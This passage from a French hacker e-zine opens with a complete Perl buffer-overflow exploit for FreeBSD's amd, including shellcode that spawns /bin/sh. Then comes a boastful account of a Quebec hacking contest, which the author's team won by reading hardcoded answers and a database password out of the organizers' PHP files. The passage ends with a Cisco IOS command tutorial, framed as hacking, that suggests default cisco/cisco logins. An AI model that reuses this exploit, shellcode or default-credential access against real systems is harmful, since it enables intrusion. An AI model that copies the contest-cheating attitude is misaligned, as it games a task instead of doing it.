------------------------------- 8< cut here 8< ------------------------------- #!/usr/bin/perl # # Fbsd AMD exploit, dosen't give root since it's not seuid. # ########################################################### my $shout = "MindKind_Is_Da_Bomb!"; my $coder = "FunkY"; ########################################################### my $execv = "\x31\xc0\x50\x50\xb0\x17\xcd\x80". "\x31\xc0\x50\x50\xb0\xb5\xcd\x80". "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" . "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53" . "\xb0\x3b\x50\xcd\x80"; my $ret = "\x08\xf6\xbf\xbf"; my $head = 700; my $body = 200; my $tail = 85; my $buf; # .:[Building buffer]:. $buf .= $shout x($head/20); $buf .= "\x90"x($body-length($execv)); $buf .= $execv; $buf .= $coder x($tail/5); $buf .= $ret; # .:[Exploitation Starts]:. system("/usr/sbin/amd", "-k" , "$buf"); ------------------------------- 8< cut here 8< ------------------------------- __ ______ __ __ __ _ ___ __ _ _ _ _\_ _ _ \ / \ / \ \ \ \ _ \ \ .\ | |/ / / / / _ / /.\ \ .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----| < /_/-/_//_/\/__/ \- ------. : \ \ \__/ / / |_|\_\ \ \ : , \/ \/ \ \ | : \ \ . . 11.05 Centinel Hacking Countest \ \ ! . aka \ \ . ; veni,vidi,vici \ \ : : \ \ : '-- ----- - -------- --- --------- - -- ------------- --- -\ \-' \____ _ _\ Le 9 octobre dernier au soir, avait lieu à l'Université Laval à Québec dans le cadre du Congres Étudiant sur les Nouvelles Technologies de l'INformation et de l'ÉLectronique un concours de hacking. C'est la première fois qu'avait lieu au Québec un événement de la sorte. Le concours avait lieu à Québec même. Ville où la majorité des grands groupes de hackers Québécois est née, Northern Phun co, Corrupted-Addict et Illegal Granted Access. L'événement a été publicisé dans l'underground notamment grâce au vivotant groupe Pyrofreak et à l'organisation 2600mtl. Une quarantaine de participant et une vingtaine de bénévole ont participé au projet. Parmi les concurrents connu de la scène on retrouvais BMG de 2600mtl, Nitrogen et Binf de devhell ainsi que moi même (Wyzeman), __2 et Qwzykx avons décidé de participer au concours sous le couvert de notre ancien groupe IGA. Phaust de C-A est venu faire sont tour et nous jaser un peu. mtadbf mieux connu sous le nom de Bond007 ne pouvait participer au concours puisqu'il connaissait trop les organisateurs et se serait retrouvé en conflit d'intérêt, il a donc participé à l'événement en tant que pseudo organisateur. Patoff et Spyd de Pyrofreak était aussi de l'événement, mais n'ont pas participé. Pour le reste des concurrents ils étaient de nature inconnue. Ce qui porte à croire que la scène Québécoise est un peu plus grande que celle connue, mais très peu d'entre eux on performer, ce qui explique de fait, leurs natures inconnues. Le concours était divisé en 2 parties, une composée de 8 levels portant sur des méthodes de hacking connu, tel le sql injection, les buffers overflow d'argument et d'environnement, ainsi que un format string bug. La deuxième partie était constituée d'une vingtaine de machines à hacker freestyle, où le but était pas mal d'avoir les bons outils et d'avoir leecher toute les exploits 0 day des 6 derniers mois, cette parti du concours a été en fait plutôt délaisser par les concurrents. Avant le début du concours, 2 conférences étaient offertes gratuitement aux concurrents. Une sur les IDS à laquelle moi et __2 sommes arrivés en plein milieu, encore sous les effets du weed. Nous nous sommes vite rendu compte que cette conférence donnée par un bénévole de Linux Québec ne s'adressait pas à nous (après tout, je venais quand même d'écrire un article sur le sujet même pas 2 mois avant). Cependant nous nous sommes rendu compte que bon nombre de participants étaient impressionnés par la conférence. Ce qui nous a permit de douter un peu sur le challenge que nous offrirait les concurrents du concours. Déçu par la première conférence, nous avons décidé de ne pas assisté à la seconde, se disant qu'elle ne nous apporterait pas grand chose de plus que la première. Mtadbf est d'accord avec nous pour dire que les conférences étaient un peu médiocre, non pas qu'elles étaient foncièrement mauvaises mais elles devaient s'adresser à des hackers chevronnés, du moins c'est ce que nous croyons. Pourtant elles ont tout de même intéressé une majorité de participant. Le hackfest débuta officiellement à la fin des 2 conférences vers 9h du soir et devait s'étendre jusqu'a 3 heure du matin. Qui a gagné ? nous, bien évidement, malgré le fait que les favoris de la scène étaient nitrogen et binf de devhell, qui sont ma foi particulièrement surestimés. Nous avons évidement été accusé de tricher, amusant non, tricher dans un concours de hack. Effectivement, nous n'avons pas suivit le chemin que les organisateurs auraient bien aimés qu'on suive. Voici ce que nous avons vraiment fait. Après avoir réussi les #1 #3 et #4, __2 a découvert en faisant un ps -aux un deamon qui avait pour but de tenir live les statistiques du concours (quel groupe est rendu où). Le deamon ayant pour argument un fichier dans le path du site web. Par curiosité, nous sommes allez voir si nous ne pouvions pas avoir accès au site web (les #4 #5 #6 #7 et #8 qui était des buffer overflow et format string bug, se faisaient en local sur la machine du concours grâce à un shell au quel nous avions accès). Quel ne fut pas notre grande surprise de découvrir hardcodé dans le fichier php qui s'occupait de filtrer les réponses des concurrents, les réponses du dit concours, nous avons aussi trouvé le pass de la bd mysql dans les fichier php du site (les 3 premières questions était web based). Un seul numéro nous a cependant été crédité pour ce hack. N'ayans plus aucun intérêt au concours (après tout nous avions le sentiment justifier d'avoir gagné), nous sommes parti. Il était minuit. Les 3 heures restantes au concours n'ont pas suffit aux autres groupes, notamment les favoris, devhell (qui soutiennent que s'ils n'ont pas réussi à nous battre c'est qu'ils étaient frost et qu'ils ont quitté avant, et bien c'est aussi notre cas et on a gagné, alors bien piètre excuse que la leur) pour battre les 4 numéro que nous avions réussi. Il est aussi amusant de savoir que IGA a été le seul groupe a réussir un des problèmes sur les buffers overflows et que nous étions sur le bord d'en réussir un deuxième lorsque nous avons fait notre coup d'éclat. Donc même sans tricher nous aurions tout de même gagné, les résultats donnés sur le site du hackfest (http://hackfest.centinel.org/) sont la pour en témoigner. Temps : 20:50:38 Numéro : 1 Nom: iga Temps : 21:36:40 Numéro : 2 Nom: bleh Temps : 21:41:56 Numéro : 3 Nom: kohi Temps : 21:43:12 Numéro : 2 Nom: kohi Temps : 21:47:39 Numéro : 1 Nom: kohi Temps : 22:05:19 Numéro : 1 Nom: dh Temps : 22:24:46 Numéro : 2 Nom: dh Temps : 22:55:16 Numéro : 4 Nom: iga Temps : 23:02:49 Numéro : 2 Nom: iga Temps : 23:03:02 Numéro : 3 Nom: iga Temps : 23:46:25 Numéro : 1 Nom: R Temps : 23:58:19 Numéro : 2 Nom: R Temps : 00:10:25 Numéro : 1 Nom: Megaoctet Sommes toutes l'événement a bien plut à plusieurs. Les perdants, outre nous accuser d'avoir tricher, clament haut et fort que le but n'était pas de gagner mais de participer. Je ne sais pas si ils se croient vraiment, mais si oui, il s'agit la d'un belle exemple de la médiocrité Québécoise, qui affecte même notre Underground. Le seul et unique but d'un concours généralement est de déclarer un gagnant. Et bien soit, continué à jouer les perdants comme il vous plait tant, nous nous allons continuer à faire évoluer la scène Québécoise pour l'amener au sommet et soyez sur qu'on vous laissera pas salir notre image. Il est tout de même plaisant de savoir que les organisateurs ont apprécié leur expérience et on promit de recréer l'événement l'an prochain. Nous espérons tout de fois que la qualité des concurrents sera supérieure l'an prochain et que le kiddie qui a fait du arp poisoning toute la soirée aura comprit que c'est pas sa place. Donnons-lui tout de même le crédit d'avoir donné quelque chose à dire à Spyd pendant un mois. À l'an prochain Wyzeman ___ ___ .----/ /----------- ---------- --------- - -- - - --- -----------/ / | / / / /| : / / / / : | / / wyzeman@mindkind.org / / | |/ / / / | /___/-- ---------- ----- ----------------- - ------- -- --- -/___/----' ____ ,------------------------------------------------- / \ | | _ | | Mindkind's open source software of the zine | / \ | | -Eraser || | | / http://sourceforge.net/projects/eraser/ (.) (.)| / Eraser est un utilitaire sécure pour effacer ses || | | <__ fichiers. Comme tout le monde le sait, il est || | | | | possible de retrouver des données effacées même || | | | | après avoir vidé la corbeille. Sans trop entrer |____/|| | | dans les détails, Eraser efface les documents de |\___/ | | | façon tout à fait permanente (quoi que 10 fois || | | | | plus lente). Eraser fonctionne uniquement sous || | | | | Windows. || | | | | || | | | \___/ | | | \______/ __ ______ __ __ __ _ ___ __ _ _ _ _\_ _ _ \ / \ / \ \ \ \ _ \ \ .\ | |/ / / / / _ / /.\ \ .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----| < /_/-/_//_/\/__/ \- ------. : \ \ \__/ / / |_|\_\ \ \ : , \/ \/ \ \ | : \ \ . . 11.06 Internet platiqué 1 \ \ ! . aka \ \ . ; Ta fini avec ta foutu théorie, jveux mon CCNA \ \ : : yaka Avez-vous déjà touché un (Cisco) CLI? \ \ : '-- ----- - -------- --- --------- - -- ------------- --- -\ \-' \____ _ _\ Dans la suite de mes articles théoriques sur "Internet", voici donc un peu de pratique pour se dégourdir les doigts... Let's hack some Ciscos ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Bon j'ai genre le livre de CCNA dans les mains.. et... FUCK IT. Vous le lirez (disponible chez tout les bons bookwarez-doodz). On va s'amuser à place :-) Bon primo on va régler quelque chose assez vite. Ya des routers Cisco et des switchs Cisco. Ya différentes sortes de routers et switchs, mais en gros les commandes se ressemble pas mal. Voici ceux qu'on va regarder : Cisco GSR: ça ctun CRISS de gros cisco. Le genre qui roule une couple d'interface OC192/OC48/GigabitEthernet/Ethernet et qui fait beaucoup de bruit. Ça ressemble à 2 grosses caisses. Une avec des cartes cutes que c'est marqué OC192 ou OC48 dessus et qu'on plug les fibres en avant et l'autre qui a d'l'air d'être fermée (qui doit être une espèce de contrôleur) et qu'on branche le reste en arrière. D'habitude le # de modèle des GSR cé dans les 12000. Cisco 2600 : router plus "standard" et plus compact que le GSR. Contient des interfaces FastEthernet et GigabitEthernet. Ressemble à une boite à pizza. On branche les câbles à l'arrière. Cisco 3500 : Switch assez standard. Ressemble à un Cisco 2600 (style pizza box) mais d'habitude sur une switch on plug beaucoup plus de ports. Ça peut être 8 ou 24, en GigabitEthernet et/ou en FastEthernet. Ces 3 machines là ont donc un prompt similaire : User Access Verification Password: JessicaAlba>enable Password: JessicaAlba# La commande "enable" sert à rentrer dans un mode de config complet. Moi c'était cisco/cisco le username/pass, mais je crois pas que ça va être la même chose pour vous. La box que vous avez le plus de chance d'avoir ça comme mot de passe, c'est une box qui sert aux "tests". Genre dans un Cégep/Université. Aussi le prompt est setté avec le nom identifiant du Cisco; Dans le présent, le nom va être JessicaAlba pour le GSR, AngelinaJolie pour le 2600 et KirstenDunst pour la switch(pour garder votre attention, et surtout pour pouvoir jouer dans les setups intimes des interfaces de ces demoiselles.. he he he). Dans tout bon Cisco ya des commandes de base. Que ce soit un router ou une switch, la commande va être disponible. La première et dernière commande que vous avez à apprendre lorsque vous avez un cisco dans les mains, c'est "?". Vous pouvez placer le "?" n'importe ou dans une ligne de commande avec plusieurs paramètres, et à chaque fois le cisco vous donne les choix disponible. Mais bon, je vais être gentil et je vais prendre en considération que vous avez pas de Cisco (après tout c rare de quoi en bas de 20 000$ :-). Voici donc les outputs des helps. Pis vu que jme sens cheap de juste paster du stock de même, je vais commenter un ti peu.. (commentaires C style // ça va être moi) GSR: JessicaAlba#? Exec commands: <1-99> Session number to resume access-enable Create a temporary Access-List entry access-profile Apply user-profile to interface access-template Create a temporary Access-List entry archive manage archive files attach Console for LineCard calendar Manage the hardware calendar cd Change current directory // Et oui ya un filesystem sur un GSR chain-cache Control parser chain-cache clear Reset functions clock Manage the system clock cns CNS subsystem configure Enter configuration mode // Pour passer à l'autre mode supérieur connect Open a terminal connection copy Copy from one file to another debug Debugging functions (see also 'undebug') // plutôt cool permet de voir // en temps réel ce qui se passe.. genre les users qui se // log, ce que la machine fait, peut même débugger packet // par packet (à ne pas conseiller sur une interface a // haut débit.. hehe) delete Delete a file diag Launch Cisco Field Diagnostics dir List files on a filesystem // me semble c'est pas un HD // c juste de la "flash" genre.. disable Turn off privileged commands disconnect Disconnect an existing network connection enable Turn on privileged commands erase Erase a filesystem // Kc que je disais sur le FS :-) execute-on Execute command remotely exit Exit from the EXEC facility-alarm Alarm commands format Format a filesystem help Description of the interactive help system hw-module Control of individual components in the system lock Lock the terminal login Log in as a particular user logout Exit from the EXEC mkdir Create new directory monitor Monitoring different system events // Peut être intéressent // pour voir qui se connect sur la machine et etc... more Display the contents of a file mpls MPLS commands mrinfo Request neighbor and version information from a multicast router mrm IP Multicast Routing Monitor Test mstat Show statistics after multiple multicast traceroutes mtrace Trace reverse multicast path from destination to source name-connection Name an existing network connection no Disable debugging functions ping Send echo messages // Similaire à /sbin/ping ou ping.exe ppp Start IETF Point-to-Point Protocol (PPP) pwd Display current working directory redundancy redundancy control reload Halt and perform a cold restart // En gros ça flush la mem // pis ça la reload, sans flusher les users et etc rename Rename a file restart Restart Connection resume Resume an active network connection rmdir Remove existing directory rsh Execute a remote command send Send a message to other tty lines set Set system parameter (not config) setup Run the SETUP command facility show Show running system information slip Start Serial-line IP (SLIP) squeeze Squeeze a filesystem systat Display information about terminal lines telnet Open a telnet connection terminal Set terminal line parameters test Test subsystems, memory, and interfaces traceroute Trace route to destination tunnel Open a tunnel connection // ça j'avoue j'l'ai pas essayé, // bien que ça m'intrigue undebug Disable debugging functions (see also 'debug') undelete Undelete a file upgrade upgrade GSR rom image(s) verify Verify a file where List active connections which-route Do OSI route table lookup and display results write Write running configuration to memory, network, or terminal 2600: AgelinaJolie#? // plutôt la même chose que le GSR // (après tout Cisco run IOS sur toutes les machines..) Exec commands: <1-99> Session number to resume access-enable Create a temporary Access-List entry access-profile Apply user-profile to interface access-template Create a temporary Access-List entry alps ALPS exec commands archive manage archive files audio-prompt load ivr prompt bfe For manual emergency modes setting call Load IVR call application ccm-manager Call Manager Application exec commands cd Change current directory clear Reset functions clock Manage the system clock cns CNS subsystem configure Enter configuration mode connect Open a terminal connection copy Copy from one file to another debug Debugging functions (see also 'undebug') delete Delete a file dir List files on a filesystem disable Turn off privileged commands disconnect Disconnect an existing network connection enable Turn on privileged commands erase Erase a filesystem exit Exit from the EXEC help Description of the interactive help system isdn Run an ISDN EXEC command on a BRI interface lat Open a lat connection lock Lock the terminal login Log in as a particular user logout Exit from the EXEC microcode microcode commands monitor Monitoring different system events more Display the contents of a file mpls MPLS commands mpoa MPOA exec commands mrinfo Request neighbor and version information from a multicast router mrm IP Multicast Routing Monitor Test mstat Show statistics after multiple multicast traceroutes mtrace Trace reverse multicast path from destination to source name-connection Name an existing network connection ncia Start/Stop NCIA Server no Disable debugging functions pad Open a X.29 PAD connection ping Send echo messages ppp Start IETF Point-to-Point Protocol (PPP) pwd Display current working directory radio Radio commands reload Halt and perform a cold restart rename Rename a file restart Restart Connection resume Resume an active network connection rlogin Open an rlogin connection rsh Execute a remote command sdlc Send SDLC test frames send Send a message to other tty lines setup Run the SETUP command facility show Show running system information slip Start Serial-line IP (SLIP) squeeze Squeeze a filesystem start-chat Start a chat-script on a line systat Display information about terminal lines tarp TARP (Target ID Resolution Protocol) commands tclquit Quit Tool Comand Language shell tclsh Tool Comand Language a shell // C'est weird ça, il l'avait // pas sur le GSR suppose que ça la été installé pour // runner des scripts de config ou de quoi du genre.. telnet Open a telnet connection terminal Set terminal line parameters test Test subsystems, memory, and interfaces tn3270 Open a tn3270 connection traceroute Trace route to destination tunnel Open a tunnel connection udptn Open an udptn connection undebug Disable debugging functions (see also 'debug') upgrade Upgrade firmware verify Verify a file where List active connections which-route Do OSI route table lookup and display results write Write running configuration to memory, network, or terminal x28 Become an X.28 PAD x3 Set X.3 parameters on PAD xremote Enter XRemote mode Switch 3500: KirstenDunst#? Exec commands: <1-99> Session number to resume access-enable Create a temporary Access-List entry access-template Create a temporary Access-List entry archive manage archive files cd Change current directory clear Reset functions clock Manage the system clock cluster cluster exec mode commands configure Enter configuration mode connect Open a terminal connection copy Copy from one file to another debug Debugging functions (see also 'undebug') delete Delete a file dir List files on a filesystem disable Turn off privileged commands disconnect Disconnect an existing network connection enable Turn on privileged commands erase Erase a filesystem exit Exit from the EXEC format Format a filesystem fsck Fsck a filesystem help Description of the interactive help system hw-module Commands to manipulate a target module lock Lock the terminal login Log in as a particular user logout Exit from the EXEC mkdir Create new directory more Display the contents of a file name-connection Name an existing network connection no Disable debugging functions ping Send echo messages pwd Display current working directory rcommand Run command on remote switch reload Halt and perform a cold restart rename Rename a file resume Resume an active network connection rmdir Remove existing directory rsh Execute a remote command send Send a message to other tty lines session Start remote console session set Set system parameter (not config) setup Run the SETUP command facility show Show running system information systat Display information about terminal lines telnet Open a telnet connection terminal Set terminal line parameters test Test subsystems, memory, and interfaces traceroute Trace route to destination tunnel Open a tunnel connection udld UDLD protocol commands undebug Disable debugging functions (see also 'debug') verify Verify a file vlan Configure VLAN parameters vmps VMPS actions where List active connections write Write running configuration to memory, network, or terminal Bon là jvas pas toute vous paster les sous-help.. ya quand même des limites. Mais vous voyez un peu de quoi ça la d'l'air, curieusement le GSR a moins de commandes que le 2600. Bon, tant qu'à paster des choses en batch, je vais aussi mettre un output du show version de chaque bécane. Pour recueillir de l'information show est la commande à utiliser. En passant ya BEAUCOUP de "show ?" sur un 2600 : AngelinaJolie#show ? access-expression List access expression access-lists List access lists // Les ACL de la machine.. // peut être usefull pour voir qui peut se connecter // ou pas accounting Accounting data for active sessions adjacency Adjacent nodes aliases Display alias commands alps Alps information apollo Apollo network information appletalk AppleTalk information arap Show Appletalk Remote Access statistics arp ARP table // C cute ça ta toute la liste des // macadress qui sont pluggés sur tel et tel port. async Information on terminal lines used as router interfaces backhaul-session-manager Backhaul Session Manager information backup Backup status bgp BGP information // Un protocol de routing (voir mon autre article) bridge Bridge Forwarding/Filtering Database [verbose] bsc BSC interface information bstun BSTUN interface information buffers Buffer pool statistics c2600 Show c2600 information call Show call caller Display information about dialup connections cca CCA information ccm-manager Call Manager Application information cdapi CDAPI information cdp CDP information cef Cisco Express Forwarding class-map Show QoS Class Map clns CLNS network information clock Display the system clock cls DLC user information cns CNS subsystem compress Show compression statistics configuration Contents of Non-Volatile memory connection Show Connection context Show context information controllers Interface controller status cops COPS information debugging State of each debugging option decnet DECnet information derived-config Derived operating configuration dhcp Dynamic Host Configuration Protocol status diag Show diagnostic information for port adapters/modules dial-peer Dial Plan Mapping Table for, e.g. VoIP Peers dialer Dialer parameters and statistics dialplan Voice telephony dial plan diffserv Differentiated services dlsw Data Link Switching information dnsix Shows Dnsix/DMDP information docsis Show DOCSIS drip DRiP DB dspu Display DSPU information dxi atm-dxi information entry Queued terminal entries environment Environmental monitor statistics exception exception informations file Show filesystem information flash: display information about flash: file system frame-relay Frame-Relay information fras FRAS Information fras-host FRAS Host Information gateway Show status of gateway history Display the session command history hosts IP domain-name, lookup style, nameservers, and host table html HTML helper commands idb List of Hardware Interface Descriptor Blocks interfaces Interface status and configuration ip IP information // dans ip ya d'autre sous-show, donc un show ip & // s'imposerais! ipv6 IPv6 information ipx Novell IPX information isis IS-IS routing information kerberos Show Kerberos Values key Key information keymap Terminal keyboard mappings lat DEC LAT information line TTY line information llc2 IBM LLC2 circuit information lnm IBM LAN manager local-ack Local Acknowledgement virtual circuits location Display the system location logging Show the contents of logging buffers memory Memory statistics mgcp Display Media Gateway Control Protocol information microcode show configured microcode for downloadable hardware modemcap Show Modem Capabilities database mpls MPLS information // encore un routing protocol! // après tout c't'un routeur ;-) mpoa MPOA show commands nbf NBF (NetBEUI) information ncia Native Client Interface Architecture netbios-cache NetBIOS name cache contents node Show known LAT nodes ntp Network time protocol num-exp Number Expansion (Speed Dial) information parser Display parser information pas Port Adaptor Information pci PCI Information policy-map Show QoS Policy Map ppp PPP parameters and statistics printers Show LPD printer information privilege Show current privilege level processes Active process statistics protocols Active network routing protocols qdm Show information about QoS Device Manager qllc Display qllc-llc2 and qllc-sdlc conversion information queue Show queue contents queueing Show queueing configuration radius Shows radius information random-detect-group display random-detetct group registry Function registry information reload Scheduled reload information rhosts Remote-host+user equivalences rif RIF cache entries rmon rmon statistics route-map route-map information rtpspi RTP Service Provider Interface rtr Response Time Reporter (RTR) rudpv1 Rudpv1 information running-config Current operating configuration saa Service Assurance Agent information sdllc Display sdlc - llc2 conversion information services LAT learned services sessions Information about Telnet connections sgbp SGBP group information sip-ua Show SIP User Agent smf Software MAC filter smrp Simple Multicast Routing Protocol(SMRP) information sna Display SNA host information snapshot Snapshot parameters and statistics snmp snmp statistics source-bridge Source-bridge parameters and statistics spanning-tree Spanning tree topology srcp Display SRCP Protocol information stacks Process stack utilization standby Hot standby protocol information startup-config Contents of startup configuration stun STUN status and configuration subscriber Display the wireless subscriber unit management applications subscriber-policy Subscriber policy subsys Show subsystem information tacacs Shows tacacs+ server statistics tarp TARP information tcp Status of TCP connections tdm TDM connection information tech-support Show system information for Tech-Support template Template information terminal Display terminal configuration parameters tgrm Trunk Group Resource Mananger info time-range Time range tn3270 TN3270 settings traffic-shape traffic rate shaping configuration translate Protocol translation information translation-rule Show translation rule table ttycap Terminal capability tables users Display information about terminal lines vc-group Show VC Group version System hardware and software status vines VINES information vlans Virtual LANs Information voice Voice port configuration & stats voip Voice over Internet Protocol information vpdn VPDN information vtemplate Virtual Template interface information whoami Info on current tty line x25 X.25 information x29 X.29 information xns XNS information xremote XRemote statistics Bon trêve de plaisanterie, voici les fameux show version: GSR: JessicaAlba#show version Cisco Internetwork Operating System Software IOS (tm) GS Software (GSR-P-M), Version 12.0(18)ST, EARLY DEPLOYMENT RELEASE SOFTWARE (fc1) TAC Support: http://www.cisco.com/tac Copyright (c) 1986-2001 by cisco Systems, Inc. Compiled Thu 09-Jul-01 21:20 by jwell Image text-base: 0x60010950, data-base: 0x6144A000 ROM: System Bootstrap, Version 11.2(20020206:174913) [sumisra-bfr112 182], DEVELOPMENT SOFTWARE BOOTLDR: GS Software (GSR-BOOT-M), Version 12.0(8)S, EARLY DEPLOYMENT RELEASE SOFTWARE (fc1) JessicaAlba uptime is 1 day, 3 hours, 45 minutes System returned to ROM by reload at 12:24:15 EST Mon Nov 11 2002 System restarted at 18:24:22 EST Thu Jul 25 2002 System image file is "slot0:gsr-p-mz.120-18.ST.bin" cisco 12416/GRP (R5000) processor (revision 0x05) with 262144K bytes of memory. R5000 CPU at 200Mhz, Implementation 35, Rev 2.1, 512KB L2 Cache Last reset from power-on 1 Route Processor Card 2 Clock Scheduler Cards 3 Switch Fabric Cards 1 OC48 POS controller (1 POS). 2 OC192 POS controllers (2 POS). 1 Three Port Gigabit Ethernet/IEEE 802.3z controller (3 GigabitEthernet). 1 Ethernet/IEEE 802.3 interface(s) 3 GigabitEthernet/IEEE 802.3 interface(s) 3 Packet over SONET network interface(s) 507K bytes of non-volatile configuration memory. 20480K bytes of Flash PCMCIA card at slot 0 (Sector size 128K). 8192K bytes of Flash internal SIMM (Sector size 256K). Configuration register is 0x2102 Ouan ben on peut voir toute les interfaces, pis que finalement ya de la mémoire flash en PCMCIA là-dessus.. (je suppose que le OS est dessus, facile a upgrader ou formatter). Bon vu que c'est fatigant avoir des pastes, je vais copier seulement les lignes du 2600 qui sont différentes... AngelinaJolie#show version IOS (tm) C2600 Software (C2600-JS-M), Version 12.2(2)T1, RELEASE SOFTWARE (fc2) TAC Support: http://www.cisco.com/tac Copyright (c) 1986-2001 by cisco Systems, Inc. cisco 2621 (MPC860) processor (revision 0x200) with 60416K/5120K bytes of memory. M860 processor: part number 0, mask 49 Bridging software. X.25 software, Version 3.0.0. SuperLAT software (copyright 1990 by Meridian Technology Corp). TN3270 Emulation software. 2 FastEthernet/IEEE 802.3 interface(s) 32K bytes of non-volatile configuration memory. 16384K bytes of processor board System flash (Read/Write) On voit alors que le processeur du 2600 est pas mal moins fort.. et à moins de mémoire. Bon, même chose avec la switch : KirstenDunst#show version IOS (tm) C3500XL Software (C3500XL-C3H2S-M), Version 12.0(5.2)XU, MAINTENANCE INTERIM SOFTWARE Copyright (c) 1986-2000 by cisco Systems, Inc. ROM: Bootstrap program is C3500XL boot loader cisco WS-C3524-XL (PowerPC403) processor (revision 0x01) with 8192K/1024K bytes of memory. Processor board ID FAA0504F082, with hardware revision 0x00 Last reset from warm-reset Processor is running Enterprise Edition Software Cluster command switch capable Cluster member switch capable 24 FastEthernet/IEEE 802.3 interface(s) 2 Gigabit Ethernet/IEEE 802.3 interface(s) Encore plus minus.. faut dire qu'une switch ça l'a moins d'affaires à gérer du coté CPU.. c'est à peine si elle garde quelques affaires en mémoire. La principale différence c'est que les protocoles de routing sont pas implémentés dans la switch, c'est ça qui fait toute la différence dans la mémoire qu'on a de besoin et du CPU. Bon asteure que le ezine pèse 5000ko, allons-y avec des commandes qui font quelque chose de plus poussé! heh Mettons que je veux voir les vlans configurés sur la machine.. (à partir d'ici je tiens compte que vous avez mémorisé ou noté les noms des chix avec les types de machine ;-) JessicaAlba#show vlans No Virtual LANs configured. I guess que Jessica aime pas full les vlans.. AngelinaJolie#show vlans Virtual LAN ID: 1 (IEEE 802.1Q Encapsulation) vLAN Trunk Interface: FastEthernet0/0 This is configured as native Vlan for the following interface(s) : FastEthernet0/0 Protocols Configured: Address: Received: Transmitted: Virtual LAN ID: 1281 (IEEE 802.1Q Encapsulation) vLAN Trunk Interface: FastEthernet0/0.1281 Protocols Configured: Address: Received: Transmitted: IP 192.168.10.2 0 4623 Virtual LAN ID: 31 (IEEE 802.1Q Encapsulation) vLAN Trunk Interface: FastEthernet0/0.31 Protocols Configured: Address: Received: Transmitted: IP 192.168.31.8 128 10235 CLNS 55 0 oh oh qu'est-ce que je vois! ben oui, Angelina a des vlans de configurés.. on voit donc une interface FastEthernet(FA) et des sous-interfaces FA. Car oui, grâce aux merveilleux vlan, on peut faire rouler sur la même interface plusieurs "instances" du router.. tout ce qu'on a faire c'est de mettre ça dans un vlan! Fantastique non? si on regarde sur la switch c'est pas mal différent du router : KirstenDunst#show vlan VLAN Name Status Ports ---- -------------------------------- --------- ------------------------------- 1 default active Fa0/13, Fa0/14, Fa0/15, Fa0/16, Fa0/17, Fa0/18, Fa0/19, Fa0/20, Fa0/21, Fa0/22, Fa0/23, Fa0/24, Gi0/1 10 VL10 active 11 VL11 active 12 VLAN0012 active 13 VLAN0013 active Lorsque la switch a beaucoup de ports, elle risque d'avoir beaucoup de vlans.. m'enfin c'est avec cette commande qu'on peut voir dans quel vlan est pluggé un port.. quand même pseudo-pratique. Sur la switch on peut aussi savoir la mac address pluggé avec le port : KirstenDunst#show mac-address-table Dynamic Address Count: 601 Secure Address Count: 0 Static Address (User-defined) Count: 0 System Self Address Count: 49 Total MAC addresses: 650 Maximum MAC addresses: 8192 Non-static Address Table: Destination Address Address Type VLAN Destination Port ------------------- ------------ ---- -------------------- 0000.0301.0102 Dynamic 1 GigabitEthernet0/2 0000.0401.0102 Dynamic 1 GigabitEthernet0/2 0000.0501.0102 Dynamic 1 GigabitEthernet0/2 0000.5008.cc4d Dynamic 1 FastEthernet0/24 0000.c0a8.0102 Dynamic 501 GigabitEthernet0/2 0000.c0a8.0202 Dynamic 502 GigabitEthernet0/2 0000.c0a8.0502 Dynamic 503 GigabitEthernet0/2 0001.0235.71d1 Dynamic 1 FastEthernet0/24 bon, la c'est beau tout ça, mais comment on fait pour voir